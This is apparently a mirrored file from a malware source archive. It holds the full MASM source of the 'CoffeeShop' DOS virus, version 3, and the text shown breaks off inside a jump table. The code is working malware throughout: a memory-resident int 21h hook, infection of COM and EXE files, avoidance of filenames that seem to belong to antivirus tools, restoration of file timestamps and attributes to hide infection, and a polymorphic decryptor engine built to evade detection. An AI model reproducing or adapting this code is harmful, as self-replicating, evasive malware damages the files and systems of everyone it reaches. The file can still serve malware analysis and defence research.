mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
1674 lines
59 KiB
NASM
1674 lines
59 KiB
NASM
;******************************************************************************
|
||
;* CoffeeShop VIRUS version 3
|
||
;*
|
||
;* Use MASM 4.0 to compile this source
|
||
;* (other assemblers will probably not produce the same result)
|
||
;*
|
||
;* Disclaimer:
|
||
;* This file is only for educational purposes. The author takes no
|
||
;* responsibility for anything anyone does with this file. Do not
|
||
;* modify this file!
|
||
;******************************************************************************
|
||
|
||
|
||
.RADIX 16
|
||
|
||
|
||
_TEXT segment
|
||
|
||
assume cs:_TEXT, ds:_TEXT
|
||
|
||
|
||
VERSION equ 3
|
||
PICLEN equ last - beeld ;length of picture routine
|
||
FILELEN equ last - first ;length of virus
|
||
FILEPAR equ (FILELEN + 0F)/10 ;length of virus in paragraphs
|
||
VIRPAR equ 00D0 ;space for resident virus
|
||
WORKPAR equ 0160 ;work space for engine
|
||
STACKOFF equ 1000 ;Stack offset
|
||
DATAPAR equ 0050 ;extra memory allocated
|
||
BUFLEN equ 1C ;length of buffer
|
||
|
||
|
||
;****************************************************************************
|
||
;* data area for virus
|
||
;****************************************************************************
|
||
|
||
org 00E0
|
||
|
||
mutstack dw 0, 0
|
||
oldlen dw 0, 0
|
||
oi21 dw 0, 0
|
||
minibuf db 0, 0, 0, 0
|
||
|
||
|
||
;****************************************************************************
|
||
;* data area for engine
|
||
;****************************************************************************
|
||
|
||
add_val dw 0
|
||
xor_val dw 0
|
||
xor_offset dw 0
|
||
where_len dw 0
|
||
where_len2 dw 0
|
||
flags db 0
|
||
|
||
|
||
;******************************************************************************
|
||
;* Begin of virus, installation in memory
|
||
;******************************************************************************
|
||
|
||
org 0100
|
||
|
||
first: call next ;get IP
|
||
next: pop si
|
||
|
||
sub si,low 3 ;SI = begin virus
|
||
mov di,0100
|
||
cld
|
||
|
||
push ax ;save registers
|
||
push ds
|
||
push es
|
||
push di
|
||
push si
|
||
|
||
mov ah,30 ;DOS version >= 3.1?
|
||
int 21
|
||
xchg ah,al
|
||
cmp ax,030A
|
||
jb not_install
|
||
|
||
mov ax,33DA ;already resident?
|
||
int 21
|
||
cmp ah,0A5
|
||
je not_install
|
||
|
||
mov ax,es ;adjust memory-size
|
||
dec ax
|
||
mov ds,ax
|
||
xor bx,bx
|
||
cmp byte ptr [bx],5A
|
||
jne not_install
|
||
mov ax,[bx+3]
|
||
sub ax,(VIRPAR+WORKPAR)
|
||
jb not_install
|
||
mov [bx+3],ax
|
||
sub word ptr ds:[bx+12],(VIRPAR+WORKPAR)
|
||
|
||
mov es,[bx+12] ;copy program to top
|
||
push cs
|
||
pop ds
|
||
mov cx,FILELEN
|
||
rep movsb
|
||
|
||
push es
|
||
pop ds
|
||
|
||
mov ax,3521 ;get original int21 vector
|
||
int 21
|
||
mov ds:[oi21],bx
|
||
mov ds:[oi21+2],es
|
||
|
||
mov dx,offset ni21 ;install new int21 handler
|
||
mov ax,2521
|
||
int 21
|
||
|
||
mov ax,33DBh ;init. random nr. generator
|
||
int 21
|
||
|
||
mov ah,2A ;ask date
|
||
int 21
|
||
cmp al,5 ;friday ?
|
||
jne not_install
|
||
mov ah,2C ;ask time
|
||
int 21
|
||
or dh,dh ;sec = 0 ?
|
||
jnz not_install
|
||
|
||
mov ax,33DC ;show picture
|
||
int 21
|
||
|
||
not_install: pop si ;restore registers
|
||
pop di
|
||
pop es
|
||
pop ds
|
||
pop ax
|
||
|
||
add si,(offset buffer)
|
||
sub si,di
|
||
cmp byte ptr cs:[si],4Dh ;COM or EXE ?
|
||
je entryE
|
||
|
||
entryC: push di
|
||
mov cx,BUFLEN
|
||
rep movsb
|
||
ret
|
||
|
||
entryE: mov bx,ds ;calculate CS
|
||
add bx,low 10
|
||
mov cx,bx
|
||
add bx,cs:[si+0E]
|
||
cli ;restore SS and SP
|
||
mov ss,bx
|
||
mov sp,cs:[si+10]
|
||
sti
|
||
add cx,cs:[si+16]
|
||
push cx ;push new CS on stack
|
||
push cs:[si+14] ;push new IP on stack
|
||
db 0CBh ;retf
|
||
|
||
|
||
;******************************************************************************
|
||
;* Interupt 24 handler
|
||
;******************************************************************************
|
||
|
||
ni24: mov al,3 ;to avoid 'Abort, Retry, ...'
|
||
iret
|
||
|
||
|
||
;******************************************************************************
|
||
;* Interupt 21 handler
|
||
;******************************************************************************
|
||
|
||
ni21: pushf
|
||
|
||
cmp ax,33DA ;install-check ?
|
||
jne not_ic
|
||
mov ax,0A500+VERSION ;return a signature
|
||
popf
|
||
iret
|
||
|
||
not_ic: push es ;save registers
|
||
push ds
|
||
push si
|
||
push di
|
||
push dx
|
||
push cx
|
||
push bx
|
||
push ax
|
||
|
||
cmp ax,33DBh ;rnd init ?
|
||
jne not_ri
|
||
call rnd_init
|
||
jmp short no_infect
|
||
|
||
not_ri: cmp ax,33DC ;show picture?
|
||
je show_pic
|
||
|
||
not_pi: cmp ax,4B00 ;execute ?
|
||
je do_it
|
||
|
||
cmp ax,6C00 ;open DOS 4.0+ ?
|
||
jne no_infect
|
||
test bl,3
|
||
jnz no_infect
|
||
mov dx,di
|
||
|
||
do_it: call infect
|
||
|
||
no_infect: pop ax ;restore registers
|
||
pop bx
|
||
pop cx
|
||
pop dx
|
||
pop di
|
||
pop si
|
||
pop ds
|
||
pop es
|
||
popf
|
||
|
||
org21: jmp dword ptr cs:[oi21] ;call to old int-handler
|
||
|
||
|
||
;******************************************************************************
|
||
;* Show picture
|
||
;******************************************************************************
|
||
|
||
show_pic: mov ax,offset no_infect ;push return adres on stack
|
||
push cs
|
||
push ax
|
||
|
||
mov di,((VIRPAR*10)+0100) ;move picture routine
|
||
mov si,offset beeld
|
||
mov cx,PICLEN
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
rep movsb
|
||
|
||
mov ax,cs ;calculate segment registers
|
||
add ax,low VIRPAR
|
||
mov ds,ax
|
||
mov es,ax
|
||
|
||
push ax ;push picture adres on stack
|
||
mov ax,0100
|
||
push ax
|
||
|
||
db 0CBh ;(retf) goto picture routine
|
||
|
||
|
||
;******************************************************************************
|
||
;* Tries to infect the file
|
||
;******************************************************************************
|
||
|
||
infect: cld
|
||
|
||
push cs ;copy filename to CS:0000
|
||
pop es
|
||
mov si,dx
|
||
xor di,di
|
||
mov cx,0080
|
||
namemove: lodsb
|
||
cmp al,0
|
||
je moved
|
||
cmp al,'a'
|
||
jb char_ok
|
||
cmp al,'z'
|
||
ja char_ok
|
||
xor al,20 ;convert to upper case
|
||
char_ok: stosb
|
||
loop namemove
|
||
return0: ret
|
||
|
||
moved: stosb ;put last zero after filename
|
||
lea si,[di-5]
|
||
push cs
|
||
pop ds
|
||
|
||
lodsw ;check extension .COM or .EXE
|
||
cmp ax,'E.'
|
||
jne not_exe
|
||
lodsw
|
||
cmp ax,'EX'
|
||
jmp short check
|
||
|
||
not_exe: cmp ax,'C.'
|
||
jne return0
|
||
lodsw
|
||
cmp ax,'MO'
|
||
check: jne return0
|
||
|
||
std ;find begin of filename
|
||
mov cx,si
|
||
inc cx
|
||
searchbegin: lodsb
|
||
cmp al,':'
|
||
je checkname
|
||
cmp al,'\'
|
||
je checkname
|
||
loop searchbegin
|
||
dec si
|
||
|
||
checkname: cld ;check filename
|
||
lodsw
|
||
lodsw
|
||
mov di,offset names
|
||
mov cl,13
|
||
repnz scasw
|
||
je return0
|
||
|
||
mov ax,3300 ;get ctrl-break flag
|
||
int 21
|
||
push dx ;save flag on stack
|
||
|
||
cwd ;clear the flag
|
||
inc ax
|
||
push ax
|
||
int 21
|
||
|
||
mov ax,3524 ;get int24 vector
|
||
int 21
|
||
push es ;save vector on stack
|
||
push bx
|
||
|
||
push cs
|
||
pop ds
|
||
|
||
mov dx,offset ni24 ;install new int24 handler
|
||
mov ah,25
|
||
push ax
|
||
int 21
|
||
|
||
mov ax,4300 ;ask file-attributes
|
||
cwd
|
||
int 21
|
||
push cx ;save attributes on stack
|
||
|
||
xor cx,cx ;clear attributes
|
||
mov ax,4301
|
||
push ax
|
||
int 21
|
||
jc return1v
|
||
|
||
mov ax,3D02 ;open the file
|
||
int 21
|
||
jnc opened
|
||
return1v: jmp return1
|
||
|
||
opened: xchg ax,bx ;save handle
|
||
|
||
mov ax,5700 ;get file date & time
|
||
int 21
|
||
push dx ;save date & time on stack
|
||
push cx
|
||
|
||
mov cx,BUFLEN ;read begin of file
|
||
mov si,offset buffer
|
||
mov dx,si
|
||
call read
|
||
jc closev
|
||
|
||
mov ax,4202 ;goto end, get filelength
|
||
xor cx,cx
|
||
cwd
|
||
int 21
|
||
|
||
mov di,offset oldlen ;save filelength
|
||
mov [di],ax
|
||
mov [di+2],dx
|
||
|
||
mov ax,word ptr [si+12] ;already infected?
|
||
add al,ah
|
||
cmp al,'@'
|
||
jz closev
|
||
|
||
cmp word ptr [si],'ZM' ;EXE ?
|
||
je do_EXE
|
||
|
||
do_COM: test byte ptr [si],80 ;maybe a strange EXE?
|
||
jz closev
|
||
|
||
mov ax,word ptr [di] ;check lenght of file
|
||
cmp ah,0D0
|
||
jae closev
|
||
cmp ah,1
|
||
jb closev
|
||
|
||
mov dx,ax
|
||
add dx,0100
|
||
call writeprog ;call Engine and write virus
|
||
jne closev
|
||
|
||
mov byte ptr [si],0E9 ;put 'JMP xxxx' at begin
|
||
sub ax,low 3
|
||
mov word ptr [si+1],ax
|
||
jmp done
|
||
|
||
closev: jmp close
|
||
|
||
do_EXE: cmp word ptr [si+18],40 ;is it a windows/OS2 EXE ?
|
||
jb not_win
|
||
|
||
mov ax,003C
|
||
cwd
|
||
call readbytes
|
||
jc closev
|
||
|
||
mov ax,word ptr [di+8]
|
||
mov dx,word ptr [di+0A]
|
||
call readbytes
|
||
jc closev
|
||
|
||
cmp byte ptr [di+9],'E'
|
||
je closev
|
||
|
||
not_win: call getlen
|
||
call calclen ;check for internal overlays
|
||
cmp word ptr [si+4],ax
|
||
jne close
|
||
cmp word ptr [si+2],dx
|
||
jne close
|
||
|
||
cmp word ptr [si+0C],0 ;high memory allocation?
|
||
je close
|
||
|
||
cmp word ptr [si+1A],0 ;overlay nr. not zero?
|
||
jne close
|
||
|
||
call getlen ;calculate new CS & IP
|
||
mov cx,0010
|
||
div cx
|
||
sub ax,word ptr [si+8]
|
||
dec ax
|
||
add dx,low 10
|
||
|
||
call writeprog ;call Engine and write virus
|
||
jne close
|
||
|
||
mov word ptr [si+16],ax ;put CS in header
|
||
mov word ptr [si+0E],ax ;put SS in header
|
||
mov word ptr [si+14],dx ;put IP in header
|
||
mov word ptr [si+10],STACKOFF ;put SP in header
|
||
|
||
call getlen
|
||
add ax,cx
|
||
adc dx,0
|
||
call calclen ;put new length in header
|
||
mov word ptr [si+4],ax
|
||
mov word ptr [si+2],dx
|
||
|
||
lea di,[si+0A] ;adjust mem. allocation info
|
||
call mem_adjust
|
||
lea di,[si+0C]
|
||
call mem_adjust
|
||
|
||
done: call gotobegin
|
||
call rnd_get ;signature
|
||
mov ah,'@'
|
||
sub ah,al
|
||
mov word ptr [si+12],ax
|
||
mov cx,BUFLEN ;write new begin
|
||
mov dx,si
|
||
mov ah,40
|
||
int 21
|
||
|
||
close: pop cx ;restore date & time
|
||
pop dx
|
||
mov ax,5701
|
||
int 21
|
||
|
||
mov ah,3E ;close the file
|
||
int 21
|
||
|
||
return1: pop ax ;restore attributes
|
||
pop cx
|
||
cwd
|
||
int 21
|
||
|
||
pop ax ;restore int24 vector
|
||
pop dx
|
||
pop ds
|
||
int 21
|
||
|
||
pop ax ;restore ctrl-break flag
|
||
pop dx
|
||
int 21
|
||
|
||
ret
|
||
|
||
|
||
;******************************************************************************
|
||
;* Filenames to avoid
|
||
;******************************************************************************
|
||
|
||
names: db 'CO', 'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI'
|
||
db 'FI', 'GI', 'RA', 'FE', 'MT', 'BR', 'IM', ' '
|
||
db ' ', ' ', ' '
|
||
|
||
|
||
;******************************************************************************
|
||
;* Write virus to the program
|
||
;******************************************************************************
|
||
|
||
writeprog: push ax ;save registers
|
||
push dx
|
||
push si
|
||
push bp
|
||
push es
|
||
|
||
cli
|
||
mov word ptr [di-4],ss ;save SS & SP
|
||
mov word ptr [di-2],sp
|
||
|
||
mov ax,cs ;new stack & buffer-segment
|
||
mov ss,ax
|
||
mov sp,((VIRPAR + WORKPAR) * 10)
|
||
add ax,low VIRPAR
|
||
mov es,ax
|
||
sti
|
||
|
||
push ds
|
||
|
||
mov bp,dx ;input parameters for engine
|
||
mov dx,0100
|
||
mov cx,FILELEN
|
||
xor si,si
|
||
mov al,0Fh
|
||
|
||
push di
|
||
push bx
|
||
|
||
call crypt ;call the Engine
|
||
|
||
pop bx
|
||
pop di
|
||
|
||
push cx
|
||
push dx
|
||
mov ax,4202 ;goto end
|
||
xor cx,cx
|
||
cwd
|
||
int 21
|
||
pop dx
|
||
pop cx
|
||
|
||
mov ah,40 ;write virus
|
||
int 21
|
||
cmp ax,cx ;are all bytes written?
|
||
|
||
pop ds
|
||
|
||
cli
|
||
mov ss,word ptr [di-4] ;restore stack
|
||
mov sp,word ptr [di-2]
|
||
sti
|
||
|
||
pop es ;restore registers
|
||
pop bp
|
||
pop si
|
||
pop dx
|
||
pop ax
|
||
|
||
ret
|
||
|
||
|
||
;******************************************************************************
|
||
;* Adjust mem allocation info in EXE header
|
||
;******************************************************************************
|
||
|
||
mem_adjust: mov ax,[di]
|
||
sub ax,low FILEPAR ;alloc. may be this much less
|
||
jb more
|
||
cmp ax,DATAPAR ;minimum amount to allocate
|
||
jae mem_ok
|
||
more: mov ax,DATAPAR
|
||
mem_ok: mov [di],ax
|
||
ret
|
||
|
||
|
||
;******************************************************************************
|
||
;* Read a few bytes
|
||
;******************************************************************************
|
||
|
||
readbytes: call goto
|
||
mov dx,offset minibuf
|
||
mov cx,4
|
||
read: mov ah,3F
|
||
int 21
|
||
ret
|
||
|
||
|
||
;******************************************************************************
|
||
;* Calculate length for EXE header
|
||
;******************************************************************************
|
||
|
||
calclen: mov cx,0200
|
||
div cx
|
||
or dx,dx
|
||
jz no_cor
|
||
inc ax
|
||
no_cor: ret
|
||
|
||
|
||
;******************************************************************************
|
||
;* Get original length of program
|
||
;******************************************************************************
|
||
|
||
getlen: mov ax,[di]
|
||
mov dx,[di+2]
|
||
ret
|
||
|
||
|
||
;******************************************************************************
|
||
;* Goto new offset DX:AX
|
||
;******************************************************************************
|
||
|
||
gotobegin: xor ax,ax
|
||
cwd
|
||
goto: xchg cx,dx
|
||
xchg ax,dx
|
||
mov ax,4200
|
||
int 21
|
||
ret
|
||
|
||
|
||
;****************************************************************************
|
||
;*
|
||
;* Encryption Engine
|
||
;*
|
||
;*
|
||
;* Input: ES work segment
|
||
;* DS:DX code to encrypt
|
||
;* BP what will be start of decryptor
|
||
;* SI what will be distance between decryptor and code
|
||
;* CX length of code
|
||
;* AX flags: bit 0: DS will not be equal to CS
|
||
;* bit 1: insert random instructions
|
||
;* bit 2: put junk before decryptor
|
||
;* bit 3: preserve AX with decryptor
|
||
;*
|
||
;* Output: ES: work segment (preserved)
|
||
;* DS:DX decryptor + encrypted code
|
||
;* BP what will be start of decryptor (preserved)
|
||
;* DI length of decryptor / offset of encrypted code
|
||
;* CX length of decryptor + encrypted code
|
||
;* AX length of encrypted code
|
||
;* (other registers may be trashed)
|
||
;*
|
||
;****************************************************************************
|
||
|
||
db '[ MK / Trident ]'
|
||
|
||
crypt: xor di,di ;di = start of decryptor
|
||
push dx ;save offset of code
|
||
push si ;save future offset of code
|
||
|
||
mov byte ptr ds:[flags],al ;save flags
|
||
test al,8 ;push AX?
|
||
jz no_push
|
||
mov al,50
|
||
stosb
|
||
|
||
no_push: call rnd_get ;add a few bytes to cx
|
||
and ax,1F
|
||
add cx,ax
|
||
push cx ;save length of code
|
||
|
||
call rnd_get ;get random flags
|
||
xchg ax,bx
|
||
;BX flags:
|
||
|
||
;0,1 how to encrypt
|
||
;2,3 which register for encryption
|
||
;4 use byte or word for encrypt
|
||
;5 MOV AL, MOV AH or MOV AX
|
||
;6 MOV CL, MOV CH or MOV CX
|
||
;7 AX or DX
|
||
|
||
;8 count up or down
|
||
;9 ADD/SUB/INC/DEC or CMPSW/SCASW
|
||
;A ADD/SUB or INC/DEC
|
||
; CMPSW or SCASW
|
||
;B offset in XOR instruction?
|
||
;C LOOPNZ or LOOP
|
||
; SUB CX or DEC CX
|
||
;D carry with crypt ADD/SUB
|
||
;E carry with inc ADD/SUB
|
||
;F XOR instruction value or AX/DX
|
||
|
||
random: call rnd_get ;get random encryption value
|
||
or al,al
|
||
jz random ;again if 0
|
||
mov ds:[xor_val],ax
|
||
|
||
call do_junk ;insert random instructions
|
||
|
||
pop cx
|
||
|
||
mov ax,0111 ;make flags to remember which
|
||
test bl,20 ; MOV instructions are used
|
||
jnz z0
|
||
xor al,07
|
||
z0: test bl,0C
|
||
jnz z1
|
||
xor al,70
|
||
z1: test bl,40
|
||
jnz z2
|
||
xor ah,7
|
||
z2: test bl,10
|
||
jnz z3
|
||
and al,73
|
||
z3: test bh,80
|
||
jnz z4
|
||
and al,70
|
||
|
||
z4: mov dx,ax
|
||
mov_lup: call rnd_get ;put MOV instructions in
|
||
and ax,000F ; a random order
|
||
cmp al,0A
|
||
ja mov_lup
|
||
|
||
mov si,ax
|
||
push cx ;test if MOV already done
|
||
xchg ax,cx
|
||
mov ax,1
|
||
shl ax,cl
|
||
mov cx,ax
|
||
and cx,dx
|
||
pop cx
|
||
jz mov_lup
|
||
xor dx,ax ;remember which MOV done
|
||
|
||
push dx
|
||
call do_mov ;insert MOV instruction
|
||
call do_nop ;insert a random NOP
|
||
pop dx
|
||
|
||
or dx,dx ;all MOVs done?
|
||
jnz mov_lup
|
||
|
||
push di ;save start of decryptor loop
|
||
|
||
call do_add_ax ;add a value to AX in loop?
|
||
call do_nop
|
||
test bh,20 ;carry with ADD/SUB ?
|
||
jz no_clc
|
||
mov al,0F8
|
||
stosb
|
||
no_clc: mov word ptr ds:[xor_offset],0
|
||
call do_xor ;place all loop instructions
|
||
call do_nop
|
||
call do_add
|
||
|
||
pop dx ;get start of decryptor loop
|
||
|
||
call do_loop
|
||
|
||
test byte ptr ds:[flags],8 ;insert POP AX ?
|
||
jz no_pop
|
||
mov al,58
|
||
stosb
|
||
|
||
no_pop: xor ax,ax ;calculate loop offset
|
||
test bh,1 ;up or down?
|
||
jz v1
|
||
mov ax,cx
|
||
dec ax
|
||
test bl,10 ;encrypt with byte or word?
|
||
jz v1
|
||
and al,0FE
|
||
v1: add ax,di
|
||
add ax,bp
|
||
pop si
|
||
add ax,si
|
||
sub ax,word ptr ds:[xor_offset]
|
||
mov si,word ptr ds:[where_len]
|
||
test bl,0C ;are BL,BH used for encryption?
|
||
jnz v2
|
||
mov byte ptr es:[si],al
|
||
mov si,word ptr ds:[where_len2]
|
||
mov byte ptr es:[si],ah
|
||
jmp short v3
|
||
v2: mov word ptr es:[si],ax
|
||
|
||
v3: mov dx,word ptr ds:[xor_val] ;encryption value
|
||
|
||
pop si ;ds:si = start of code
|
||
|
||
push di ;save ptr to encrypted code
|
||
push cx ;save length of encrypted code
|
||
|
||
test bl,10 ;byte or word?
|
||
jz blup
|
||
|
||
inc cx ;cx = # of crypts (words)
|
||
shr cx,1
|
||
|
||
lup: lodsw ;encrypt code (words)
|
||
call do_encrypt
|
||
stosw
|
||
loop lup
|
||
jmp short klaar
|
||
|
||
|
||
blup: lodsb ;encrypt code (bytes)
|
||
xor dh,dh
|
||
call do_encrypt
|
||
stosb
|
||
loop blup
|
||
|
||
klaar: mov cx,di ;cx = length decryptpr + code
|
||
pop ax ;ax = length of decrypted code
|
||
pop di ;di = offset encrypted code
|
||
xor dx,dx ;ds:dx = decryptor + cr. code
|
||
push es
|
||
pop ds
|
||
ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* encrypt the code
|
||
;****************************************************************************
|
||
|
||
do_encrypt: add dx,word ptr ds:[add_val]
|
||
test bl,2
|
||
jnz lup1
|
||
xor ax,dx
|
||
ret
|
||
|
||
lup1: test bl,1
|
||
jnz lup2
|
||
sub ax,dx
|
||
ret
|
||
|
||
lup2: add ax,dx
|
||
ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* generate mov reg,xxxx
|
||
;****************************************************************************
|
||
|
||
do_mov: mov dx,si
|
||
mov al,byte ptr ds:[si+mov_byte]
|
||
cmp dl,4 ;BX?
|
||
jne is_not_bx
|
||
call add_ind
|
||
is_not_bx: test dl,0C ;A*?
|
||
pushf
|
||
jnz is_not_a
|
||
test bl,80 ;A* or D*?
|
||
jz is_not_a
|
||
add al,2
|
||
|
||
is_not_a: call alter ;insert the MOV
|
||
|
||
popf ;A*?
|
||
jnz is_not_a2
|
||
mov ax,word ptr ds:[xor_val]
|
||
jmp short sss
|
||
|
||
is_not_a2: test dl,8 ;B*?
|
||
jnz is_not_b
|
||
mov si,offset where_len
|
||
test dl,2
|
||
jz is_not_bh
|
||
add si,2
|
||
is_not_bh: mov word ptr ds:[si],di
|
||
jmp short sss
|
||
|
||
is_not_b: mov ax,cx ;C*
|
||
test bl,10 ;byte or word encryption?
|
||
jz sss
|
||
inc ax ;only half the number of bytes
|
||
shr ax,1
|
||
sss: test dl,3 ;byte or word register?
|
||
jz is_x
|
||
test dl,2 ;*H?
|
||
jz is_not_h
|
||
xchg al,ah
|
||
is_not_h: stosb
|
||
ret
|
||
|
||
is_x: stosw
|
||
ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* insert MOV or alternative for MOV
|
||
;****************************************************************************
|
||
|
||
alter: push bx
|
||
push cx
|
||
push ax
|
||
call rnd_get
|
||
xchg ax,bx
|
||
pop ax
|
||
test bl,3 ;use alternative for MOV?
|
||
jz no_alter
|
||
|
||
push ax
|
||
and bx,0F
|
||
and al,08
|
||
shl ax,1
|
||
or bx,ax
|
||
pop ax
|
||
|
||
and al,7
|
||
mov cl,9
|
||
xchg ax,cx
|
||
mul cl
|
||
|
||
add ax,30C0
|
||
xchg al,ah
|
||
test bl,4
|
||
jz no_sub
|
||
mov al,28
|
||
no_sub: call maybe_2
|
||
stosw
|
||
|
||
mov al,80
|
||
call maybe_2
|
||
stosb
|
||
|
||
mov ax,offset add_mode
|
||
xchg ax,bx
|
||
and ax,3
|
||
xlat
|
||
|
||
add al,cl
|
||
no_alter: stosb
|
||
pop cx
|
||
pop bx
|
||
ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* insert ADD AX,xxxx
|
||
;****************************************************************************
|
||
|
||
do_add_ax: push cx
|
||
mov si,offset add_val ;save add-value here
|
||
mov word ptr ds:[si],0
|
||
mov ax,bx
|
||
and ax,8110
|
||
xor ax,8010
|
||
jnz no_add_ax ;use ADD?
|
||
|
||
mov ax,bx
|
||
xor ah,ah
|
||
mov cl,3
|
||
div cl
|
||
or ah,ah
|
||
jnz no_add_ax ;use ADD?
|
||
|
||
test bl,80
|
||
jnz do_81C2 ;AX or DX?
|
||
mov al,5
|
||
stosb
|
||
jmp short do_add0
|
||
do_81C2: mov ax,0C281
|
||
stosw
|
||
do_add0: call rnd_get
|
||
mov word ptr ds:[si],ax
|
||
stosw
|
||
no_add_ax: pop cx
|
||
ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* generate encryption command
|
||
;****************************************************************************
|
||
|
||
do_xor: test byte ptr ds:[flags],1
|
||
jz no_cs
|
||
mov al,2E ;insert CS: instruction
|
||
stosb
|
||
|
||
no_cs: test bh,80 ;type of XOR command
|
||
jz xor1
|
||
|
||
call get_xor ;encrypt with register
|
||
call do_carry
|
||
call save_it
|
||
xor ax,ax
|
||
test bl,80
|
||
jz xxxx
|
||
add al,10
|
||
xxxx: call add_dir
|
||
test bh,8
|
||
jnz yyyy
|
||
stosb
|
||
ret
|
||
|
||
yyyy: or al,80
|
||
stosb
|
||
call rnd_get
|
||
stosw
|
||
mov word ptr ds:[xor_offset],ax
|
||
ret
|
||
|
||
xor1: mov al,080 ;encrypt with value
|
||
call save_it
|
||
call get_xor
|
||
call do_carry
|
||
call xxxx
|
||
mov ax,word ptr ds:[xor_val]
|
||
test bl,10
|
||
jmp byte_word
|
||
|
||
|
||
;****************************************************************************
|
||
;* generate increase/decrease command
|
||
;****************************************************************************
|
||
|
||
do_add: test bl,8 ;no CMPSW/SCASW if BX is used
|
||
jz da0
|
||
test bh,2 ;ADD/SUB/INC/DEC or CMPSW/SCASW
|
||
jnz do_cmpsw
|
||
|
||
da0: test bh,4 ;ADD/SUB or INC/DEC?
|
||
jz add1
|
||
|
||
mov al,40 ;INC/DEC
|
||
test bh,1 ;up or down?
|
||
jz add0
|
||
add al,8
|
||
add0: call add_ind
|
||
stosb
|
||
test bl,10 ;byte or word?
|
||
jz return
|
||
stosb ;same instruction again
|
||
return: ret
|
||
|
||
add1: test bh,40 ;ADD/SUB
|
||
jz no_clc2 ;carry?
|
||
mov al,0F8 ;insert CLC
|
||
stosb
|
||
no_clc2: mov al,083
|
||
stosb
|
||
mov al,0C0
|
||
test bh,1 ;up or down?
|
||
jz add2
|
||
mov al,0E8
|
||
add2: test bh,40 ;carry?
|
||
jz no_ac2
|
||
and al,0CF
|
||
or al,10
|
||
no_ac2: call add_ind
|
||
stosb
|
||
mov al,1 ;value to add/sub
|
||
save_it: call add_1
|
||
stosb
|
||
ret
|
||
|
||
do_cmpsw: test bh,1 ;up or down?
|
||
jz no_std
|
||
mov al,0FDh ;insert STD
|
||
stosb
|
||
no_std: test bh,4 ;CMPSW or SCASW?
|
||
jz normal_cmpsw
|
||
test bl,4 ;no SCASW if SI is used
|
||
jnz do_scasw
|
||
|
||
normal_cmpsw: mov al,0A6 ;CMPSB
|
||
jmp short save_it
|
||
do_scasw: mov al,0AE ;SCASB
|
||
jmp short save_it
|
||
|
||
|
||
;****************************************************************************
|
||
;* generate loop command
|
||
;****************************************************************************
|
||
|
||
do_loop: test bh,1 ;no JNE if couting down
|
||
jnz loop_loop ; (prefetch bug!)
|
||
call rnd_get
|
||
test al,1 ;LOOPNZ/LOOP or JNE?
|
||
jnz cx_loop
|
||
|
||
loop_loop: mov al,0E0
|
||
test bh,1A ;LOOPNZ or LOOP?
|
||
jz ll0 ; no LOOPNZ if xor-offset
|
||
add al,2 ; no LOOPNZ if CMPSW/SCASW
|
||
ll0: stosb
|
||
mov ax,dx
|
||
sub ax,di
|
||
dec ax
|
||
stosb
|
||
ret
|
||
|
||
cx_loop: test bh,10 ;SUB CX or DEC CX?
|
||
jnz cxl_dec
|
||
mov ax,0E983
|
||
stosw
|
||
mov al,1
|
||
stosb
|
||
jmp short do_jne
|
||
|
||
cxl_dec: mov al,49
|
||
stosb
|
||
do_jne: mov al,75
|
||
jmp short ll0
|
||
|
||
|
||
;****************************************************************************
|
||
;* add value to AL depending on register type
|
||
;****************************************************************************
|
||
|
||
add_dir: mov si,offset dir_change
|
||
jmp short xx1
|
||
|
||
add_ind: mov si,offset ind_change
|
||
xx1: push bx
|
||
shr bl,1
|
||
shr bl,1
|
||
and bx,3
|
||
add al,byte ptr ds:[bx+si]
|
||
pop bx
|
||
ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* mov encryption command byte to AL
|
||
;****************************************************************************
|
||
|
||
get_xor: push bx
|
||
mov ax,offset how_mode
|
||
xchg ax,bx
|
||
and ax,3
|
||
xlat
|
||
pop bx
|
||
ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* change ADD into ADC
|
||
;****************************************************************************
|
||
|
||
do_carry: test bl,2 ;ADD/SUB used for encryption?
|
||
jz no_ac
|
||
test bh,20 ;carry with (encr.) ADD/SUB?
|
||
jz no_ac
|
||
and al,0CF
|
||
or al,10
|
||
no_ac: ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* change AL (byte/word)
|
||
;****************************************************************************
|
||
|
||
add_1: test bl,10
|
||
jz add_1_ret
|
||
inc al
|
||
add_1_ret: ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* change AL (byte/word)
|
||
;****************************************************************************
|
||
|
||
maybe_2: call add_1
|
||
cmp al,81 ;can't touch this
|
||
je maybe_not
|
||
push ax
|
||
call rnd_get
|
||
test al,1
|
||
pop ax
|
||
jz maybe_not
|
||
add al,2
|
||
maybe_not: ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* get random nop (or not)
|
||
;****************************************************************************
|
||
|
||
do_nop: test byte ptr ds:[flags],2
|
||
jz no_nop
|
||
yes_nop: call rnd_get
|
||
test al,3
|
||
jz nop8
|
||
test al,2
|
||
jz nop16
|
||
test al,1
|
||
jz nop16x
|
||
no_nop: ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* Insert random instructions
|
||
;****************************************************************************
|
||
|
||
do_junk: test byte ptr ds:[flags],4
|
||
jz no_junk
|
||
call rnd_get ;put a random number of
|
||
and ax,0F ; dummy instructions before
|
||
inc ax ; decryptor
|
||
xchg ax,cx
|
||
junk_loop: call junk
|
||
loop junk_loop
|
||
no_junk: ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* get rough random nop (may affect register values)
|
||
;****************************************************************************
|
||
|
||
junk: call rnd_get
|
||
and ax,1E
|
||
jmp short aa0
|
||
nop16x: call rnd_get
|
||
and ax,06
|
||
aa0: xchg ax,si
|
||
call rnd_get
|
||
jmp word ptr ds:[si+junkcals]
|
||
|
||
|
||
;****************************************************************************
|
||
;* NOP and junk addresses
|
||
;****************************************************************************
|
||
|
||
junkcals dw offset nop16x0
|
||
dw offset nop16x1
|
||
dw offset nop16x2
|
||
dw offset nop16x3
|
||
dw offset nop8
|
||
dw offset nop16
|
||
dw offset junk6
|
||
dw offset junk7
|
||
dw offset junk8
|
||
dw offset junk9
|
||
